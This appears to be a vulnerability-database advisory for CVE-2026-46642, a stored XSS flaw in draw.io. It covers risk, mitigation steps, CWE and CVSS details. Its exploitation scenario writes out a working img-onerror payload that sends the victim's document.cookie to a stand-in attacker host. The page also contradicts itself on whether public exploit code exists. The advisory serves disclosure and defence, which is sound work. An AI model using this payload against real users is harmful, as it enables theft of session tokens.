CVE-2026-46642: draw.io: stored XSS executes JS via crafted diagram file
MEDIUM PoC AVAILABLE CISA: TRACK*draw.io versions before 29.7.12 contain a stored XSS vulnerability that allows arbitrary JavaScript execution in the editor's origin when a crafted .drawio file is opened — triggered automatically during import as cells are selected and the Text Format panel assigns raw cell labels to an unsanitized innerHTML context. For AI/ML teams that exchange architecture diagrams through draw.io (a common practice for documenting pipelines, model designs, and governance workflows), this creates a realistic lateral-movement path: a malicious diagram shared over email, Slack, or Confluence can silently exfiltrate session tokens or pivot to connected enterprise services. No public exploit or active exploitation has been confirmed (CISA KEV: No, EPSS: unavailable), but the CVSS scope:changed modifier signals that impact can extend beyond the draw.io process itself — particularly dangerous in self-hosted deployments integrated with SSO providers. Upgrade immediately to 29.7.12; until patched, treat externally received .drawio files as untrusted executables and restrict their opening in any web-deployed draw.io instance.
What is the risk?
Medium severity (CVSS 6.1) with low attack complexity and no required privileges, constrained by mandatory user interaction (file open). The scope:changed flag is the primary risk amplifier: successful exploitation runs code in draw.io's browser origin, which may share sessions with identity providers or internal tooling. No active exploitation, no scanner coverage, and no public PoC reduce immediate urgency, but the trivial payload construction (a single img onerror tag) means exploitation requires minimal adversary skill. Risk is elevated for organizations using draw.io in collaborative AI/ML documentation workflows where external file sharing is routine.
How does the attack unfold?
How severe is it?
What is the attack surface?
What should I do?
6 steps-
Upgrade draw.io to version 29.7.12 or later immediately — this is the only complete fix.
-
If using the Confluence plugin or VS Code extension, verify the bundled draw.io version and update the integration package.
-
Until patched, block untrusted .drawio files from being opened in any web-deployed draw.io instance; enforce a file-review policy for externally received diagrams.
-
For detection: enable and monitor Content Security Policy (CSP) violation reports on your draw.io domain for unexpected script-src events.
-
Audit draw.io deployments for SSO or identity provider integrations and rotate any sessions that may have been exposed if anomalous activity is suspected.
-
In Confluence-integrated environments, restrict diagram editing to internal users until patched.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-46642?
draw.io versions before 29.7.12 contain a stored XSS vulnerability that allows arbitrary JavaScript execution in the editor's origin when a crafted .drawio file is opened — triggered automatically during import as cells are selected and the Text Format panel assigns raw cell labels to an unsanitized innerHTML context. For AI/ML teams that exchange architecture diagrams through draw.io (a common practice for documenting pipelines, model designs, and governance workflows), this creates a realistic lateral-movement path: a malicious diagram shared over email, Slack, or Confluence can silently exfiltrate session tokens or pivot to connected enterprise services. No public exploit or active exploitation has been confirmed (CISA KEV: No, EPSS: unavailable), but the CVSS scope:changed modifier signals that impact can extend beyond the draw.io process itself — particularly dangerous in self-hosted deployments integrated with SSO providers. Upgrade immediately to 29.7.12; until patched, treat externally received .drawio files as untrusted executables and restrict their opening in any web-deployed draw.io instance.
Is CVE-2026-46642 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2026-46642, increasing the risk of exploitation.
How to fix CVE-2026-46642?
1. Upgrade draw.io to version 29.7.12 or later immediately — this is the only complete fix. 2. If using the Confluence plugin or VS Code extension, verify the bundled draw.io version and update the integration package. 3. Until patched, block untrusted .drawio files from being opened in any web-deployed draw.io instance; enforce a file-review policy for externally received diagrams. 4. For detection: enable and monitor Content Security Policy (CSP) violation reports on your draw.io domain for unexpected script-src events. 5. Audit draw.io deployments for SSO or identity provider integrations and rotate any sessions that may have been exposed if anomalous activity is suspected. 6. In Confluence-integrated environments, restrict diagram editing to internal users until patched.
What systems are affected by CVE-2026-46642?
This vulnerability affects the following AI/ML architecture patterns: AI/ML system design and documentation workflows, Enterprise AI governance and compliance documentation, Collaborative ML pipeline design environments.
What is the CVSS score for CVE-2026-46642?
CVE-2026-46642 has a CVSS v3.1 base score of 6.1 (MEDIUM). The EPSS exploitation probability is 0.22%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0011 User Execution AML.T0011.000 Unsafe AI Artifacts AML.T0049 Exploit Public-Facing Application AML.T0050 Command and Scripting Interpreter Compliance Controls Affected
What are the technical details?
Original Advisory
draw.io is a configurable diagramming and whiteboarding application. Prior to version 29.7.12, a crafted .drawio file can execute arbitrary JavaScript in the editor's origin when the file is opened. The vulnerability is not in the label sanitizer (which works correctly on the rendering path) but in a feature-detection routine in the Text Format panel that reads the raw cell label and assigns it to a detached element's innerHTML without sanitization. Browsers fire onerror for failed image loads even on detached elements, so an <img src=x onerror=...> payload in any cell label triggers script execution as soon as the cell is selected — which import does automatically. This issue has been patched in version 29.7.12.
Exploitation Scenario
An adversary targeting an AI/ML engineering team embeds the payload `<img src=x onerror='fetch("https://attacker.io/c?"+btoa(document.cookie))'>` in a cell label of a draw.io file disguised as a 'Q3 LLM Architecture Review' diagram. The file is sent via a phishing email or uploaded to a shared Confluence space. When a team member opens the file — either in the browser-based editor or via the Confluence plugin — draw.io's import routine auto-selects all cells, causing the Text Format panel's feature-detection code to read the raw cell label and assign it to a detached element's innerHTML. The browser fires the img onerror handler, exfiltrating the victim's session cookies to the attacker's server. If draw.io is deployed on the corporate network with SSO (Okta, Azure AD), those stolen tokens may grant access to additional internal services including CI/CD pipelines, model registries, or the AI governance platform.
Weaknesses (CWE)
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Primary
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
- [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N References
Timeline
Related Vulnerabilities
CVE-2023-3765 10.0 MLflow: path traversal allows arbitrary file read
Same attack type: Data Extraction CVE-2025-5120 10.0 smolagents: sandbox escape enables unauthenticated RCE
Same attack type: Code Execution CVE-2025-2828 10.0 LangChain RequestsToolkit: SSRF exposes cloud metadata
Same attack type: Data Extraction CVE-2025-53767 10.0 Azure OpenAI: SSRF EoP, no auth required (CVSS 10)
Same attack type: Data Extraction CVE-2025-59528 10.0 Flowise: Unauthenticated RCE via MCP config injection
Same attack type: Code Execution